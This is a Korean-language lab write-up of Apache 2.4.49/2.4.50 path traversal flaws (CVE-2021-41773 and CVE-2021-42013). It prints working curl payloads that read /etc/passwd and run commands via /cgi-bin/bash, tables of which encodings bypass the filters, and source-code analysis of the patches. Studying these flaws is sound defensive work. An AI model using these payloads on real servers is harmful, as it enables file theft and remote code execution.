CVE-2021-41773
본 CVE test는 github의 vulhub 환경에서 진행되었음.
Description
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration “require all denied”, these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.
PoC
user@device:~$ curl -v --path-as-is "http://127.0.0.1:8090/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
* Trying 127.0.0.1:8090...
* Connected to 127.0.0.1 (127.0.0.1) port 8090 (#0)
> GET /icons/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
> Host: 127.0.0.1:8090
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 23 Jul 2026 05:49:40 GMT
< Server: Apache/2.4.49 (Unix)
< Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
< ETag: "39e-5cceec7356000"
< Accept-Ranges: bytes
< Content-Length: 926
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #0 to host 127.0.0.1 left intact
Payload Test
../-> 400, 일반적인 path traversal 필터에 막힌 것으로 추정%2e./-> 400.%2e/-> 성공%2e%2e/-> 성공%2e%2e%2f-> 404,%2f는 경로 문자로 인식하지 않는 것으로 추정
위 테스트 케이스로 미루어 보았을 때, ./와 같은 패턴을 처리하는 것으로 추정 가능
/icons의 역할?
Apache 2.4.49 버전의 httpd-autoindex.conf에는 다음과 같이 정의되어 있다.
# We include the /icons/ alias for FancyIndexed directory listings. If
# you do not use FancyIndexing, you may comment this out.
#
Alias /icons/ "/usr/local/apache2/icons/"
<Directory "/usr/local/apache2/icons">
Options Indexes MultiViews
AllowOverride None
Require all granted
</Directory>
일반적으로 http://target:8080/ 으로 접근하게 될 경우, 웹 루트 디렉토리의 index.html에 접근하게 된다. 하지만 위 설정이 적용되어 있을 경우, http://target:8080/icons/를 통해 웹 루트 외부에 존재하는 /usr/local/apache2/icons/에 접근할 수 있다.
이러한 Apache의 기능을 이용하여 웹 루트 외부로 탈출할 수 있게 되고, 만약 path traversal 취약점이 존재하는 경우 /etc/passwd같은 시스템 파일에 접근할 수도 있게 된다.
RCE via /cgi-bin
상기한 /icons와 동일한 원리로 RCE 역시 가능하다. Apache 2.4.49 버전의 httpd.conf에는 다음과 같이 정의되어 있다.
<IfModule alias_module>
#
# Redirect: Allows you to tell clients about documents that used to
# exist in your server's namespace, but do not anymore. The client
# will make a new request for the document at its new location.
# Example:
# Redirect permanent /foo http://www.example.com/bar
#
# Alias: Maps web paths into filesystem paths and is used to
# access content that does not live under the DocumentRoot.
# Example:
# Alias /webpath /full/filesystem/path
#
# If you include a trailing / on /webpath then the server will
# require it to be present in the URL. You will also likely
# need to provide a <Directory> section to allow access to
# the filesystem path.
#
# ScriptAlias: This controls which directories contain server scripts.
# ScriptAliases are essentially the same as Aliases, except that
# documents in the target directory are treated as applications and
# run by the server when requested rather than as documents sent to the
# client. The same rules about trailing "/" apply to ScriptAlias
# directives as to Alias.
#
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
</IfModule>
Path Traversal의 원리는 동일하지만, CGI는 약간 특수한 목적을 가지고 있다. CGI는 동적인 페이지를 구성하기 위해 외부 프로그램(CGI 스크립트)과 데이터를 주고받는 통신 규약이다. Apache의 /cgi-bin 디렉토리는 이러한 CGI 스크립트가 위치하는 공간이고, 이 CGI 스크립트를 실행하기 위해 ScriptAlias로 지정된 경로로 접근할 때에는 기본적으로 실행권한을 부여받은 채 접근한다.
The ScriptAlias directive tells httpd that a particular directory is set aside for CGI programs. httpd will assume that every file in this directory is a CGI program, and will attempt to execute it, when that particular resource is requested by a client.
따라서 /cgi-bin에 접근하여 실행권한을 가진 채 웹 루트 경로를 탈출할 수 있고, 임의 코드 실행이 가능해진다.
user@device:~$ curl -v --data "echo;id" 'localhost:8090/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/bash'
* Trying 127.0.0.1:8090...
* Connected to localhost (127.0.0.1) port 8090 (#0)
> POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1
> Host: localhost:8090
> User-Agent: curl/7.81.0
> Accept: */*
> Content-Length: 7
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 23 Jul 2026 07:05:20 GMT
< Server: Apache/2.4.49 (Unix)
< Transfer-Encoding: chunked
<
uid=1(daemon) gid=1(daemon) groups=1(daemon)
* Connection #0 to host localhost left intact
CVE-2021-42013
Description
It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration “require all denied”, these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.
CVE-2021-41773과의 차이점?
Apache 2.4.50(CVE-2021-41773 패치 버전)의 주요 수정사항은 server/util.c 내 path normalization 로직의 변경이다. 2.4.49 버전에서는 . 뒤에 /이 오는 패턴에 대해 이를 무시하도록 구현되어 있다.
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
...
}
이후 2.4.50 버전에서는 다음과 같이 패치되었다.
/* Remove /xx/../ segments (or /xx/.%2e/ when
* AP_NORMALIZE_DECODE_UNRESERVED is set since we
* decoded only the first dot above).
*/
n = l + 1;
if ((path[n] == '.' || (decode_unreserved
&& path[n] == '%'
&& path[++n] == '2'
&& (path[++n] == 'e'
|| path[n] == 'E')))
&& IS_SLASH_OR_NUL(path[n + 1])) {
...
}
기존의 . 뒤에 /이 오는 패턴만을 필터링했다면, 패치 버전은 . 또는 %2e(E) 뒤에 /이 오는 패턴을 같이 필터링한다.
PoC
user@device:~$ curl -v localhost:8091/icons/%%32e%2%65/%%32e%2%65/%%32e%2%65/%%32e%2%6
5/etc/passwd
* Trying 127.0.0.1:8091...
* Connected to localhost (127.0.0.1) port 8091 (#0)
> GET /icons/%%32e%2%65/%%32e%2%65/%%32e%2%65/%%32e%2%65/etc/passwd HTTP/1.1
> Host: localhost:8091
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 23 Jul 2026 07:22:14 GMT
< Server: Apache/2.4.50 (Unix)
< Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
< ETag: "39e-5cceec7356000"
< Accept-Ranges: bytes
< Content-Length: 926
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #0 to host localhost left intact
Payload Test
../-> 400%2e./-> 400.%2e/-> 400, 취약버전 패치%2e%2e/-> 400, 취약버전 패치%2e%2e%2f-> 404, %2f를 경로로 해석하지 않음%252e%252e/-> 404%%32e%%32e/-> 성공%2%65%2%65/-> 성공%2%65%%32e/-> 성공%%32e%2%65/-> 성공%%%332e%2%65-> 400, 삼중인코딩 실패
위 테스트 케이스에서 이중 인코딩에 취약하다는 점을 미루어 보았을 때, 두 종류의 URL decoding 로직이 충돌한다는 것을 추측할 수 있었다.
2.4.50 패치가 충분하지 않았던 이유
2.4.50 버전에서는 다음과 같은 URL decoding 과정이 존재한다.
while (path[l] != '\0') {
/* RFC-3986 section 2.3:
* For consistency, percent-encoded octets in the ranges of
* ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
* period (%2E), underscore (%5F), or tilde (%7E) should [...]
* be decoded to their corresponding unreserved characters by
* URI normalizers.
*/
if (decode_unreserved
&& path[l] == '%' && apr_isxdigit(path[l + 1])
&& apr_isxdigit(path[l + 2])) {
const char c = x2c(&path[l + 1]);
if (apr_isalnum(c) || (c && strchr("-._~", c))) {
/* Replace last char and fall through as the current
* read position */
l += 2;
path[l] = c;
}
}
}
이 부분에서 URL decoding이 이루어지는데, 이 1차 decoding 과정에서 CVE-2021-41773 패치를 통과하여 %2e/ 패턴이 탐지되지 않고 그대로 남아있게 된다.
그리고 server/util.c 파일 내에 또다른 URL decoding 함수가 존재한다.
static int unescape_url(char *url, const char *forbid, const char *reserved)
{
int badesc, badpath;
char *x, *y;
badesc = 0;
badpath = 0;
/* Initial scan for first '%'. Don't bother writing values before
* seeing a '%' */
y = strchr(url, '%');
if (y == NULL) {
return OK;
}
for (x = y; *y; ++x, ++y) {
if (*y != '%') {
*x = *y;
}
else {
if (!apr_isxdigit(*(y + 1)) || !apr_isxdigit(*(y + 2))) {
badesc = 1;
*x = '%';
}
else {
char decoded;
decoded = x2c(y + 1); // 이 부분이다
if ((decoded == '\0')
|| (forbid && ap_strchr_c(forbid, decoded))) {
badpath = 1;
*x = decoded;
y += 2;
}
...
}
}
}
}
문제는 이전의 ap_normalize_path()와 unescape_url()이 요청을 처리하는 과정에서 순차적으로 호출되는데, ap_normalize_path() 내부에서의 unescape 진행 여부를 이후의 unescape_url()에서 검증하지 않는다는 점이다. 이로 인해 이미 URL decoded된 경로가 불필요하게 한 차례 더 decoding되면서, 이중 인코딩된 경로가 path traversal 탐지 로직을 우회하여 정상적인 경로로 해석이 되는 것이다.
최종 패치(2.4.51) 적용
상기한 문제를 해결하기 위해 다음과 같은 수정사항이 적용되었다.
static int unescape_url(char *url, const char *forbid, const char *reserved,
unsigned int flags)
{
const int keep_slashes = (flags & AP_UNESCAPE_URL_KEEP_SLASHES) != 0,
forbid_slashes = (flags & AP_UNESCAPE_URL_FORBID_SLASHES) != 0,
keep_unreserved = (flags & AP_UNESCAPE_URL_KEEP_UNRESERVED) != 0;
}
unescape_url()에 flag 인자가 추가되었다. 이 중에서 AP_UNESCAPE_URL_KEEP_UNRESERVED flag는 ap_normalize_path()에 의해 1로 설정되고, 이후의 unescape_url()에서 중복 decoding을 방지하여 이중 인코딩 우회를 막을 수 있게 되었다.